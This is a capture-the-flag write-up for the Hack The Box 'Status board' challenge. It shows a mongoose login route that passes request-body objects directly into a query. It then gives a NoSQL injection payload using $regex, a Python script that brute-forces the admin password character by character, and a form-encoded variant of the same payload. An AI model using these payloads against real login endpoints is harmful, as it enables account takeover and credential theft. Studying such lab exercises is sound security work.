Status board

To obtain the flag, we must find the password of the admin user, stored in plain text in a MongoDB database.

Looking at the source code of the web application, we can identify that the server expects JSON requests and uses the mongoose ODM to interface with the database.

We also see the following route:

```
router.post('/api/login', (req, res) => {
    let { username, password } = req.body;

    if (username && password) {
        return User.find({
            username,
            password
        })
            .then((user) => {
                if (user.length == 1) {
                    let token = JWTHelper.sign({ username: user[0].username });
                    res.cookie('session', token, { maxAge: 3600000 });
                    return res.json({logged: 1, message: 'User authenticated successfully!' });
                } else {
                    return res.json({logged: 0, message: 'Invalid username or password!'});
                }
            })
            .catch(() => res.json({ message: 'Something went wrong'}));
    }
    return res.json({ message: 'No username or password supplied!'});
});
```

In fact, mongoose / MongoDB supports this format for pattern matching strings in queries: `{ <field>: { $regex: 'pattern', $options: '<options>' } }`

Therefore, we can send the following payload to check if X is the first letter of the flag:

```
{
    "username":"admin",
    "password":{"$regex": "HTB{X."}
}
```

We can then easily bruteforce the flag character-by-character. Doing this in Python, we have the following script:

```
import requests
import sys

al = "qwertyuiopasdfghjklzxcvbnmQAZWSXEDCRFVTGBYHNUJMIKOLP1234567890-=_#!}"

```

```
base = {
    "username": "admin",
    "password": {}
}

regex = "HTB{REPR."
flag = ""
found = True

while True:
    if not found:
        break
    for curr in al:
        found = False
        data = dict(base)
        data["password"]["$regex"] = regex.replace("REPR", flag + curr)
        r = requests.post(json=data,
url="http://159.65.90.8:30449/api/login")
        # print(data["password"]["$regex"], r.json())
        if r.json()['logged'] == 1:
            found = True
            flag += curr
            print(flag)
            if curr == "}":
                sys.exit(0)
            else:
                break
```

And we obtain the flag: `HTB{t0b3_5qL_0r_n05qL_7h4t_is_th3_Q}`.

As a curious side note, the attack also worked with using `Content-Type: application/x-www-form-urlencoded` with the payload `username=admin&password[$regex]=HTB{X.}` - which is not a standard HTTP GET format to my knowledge, rather it is a PHP convention but seems to work in this case.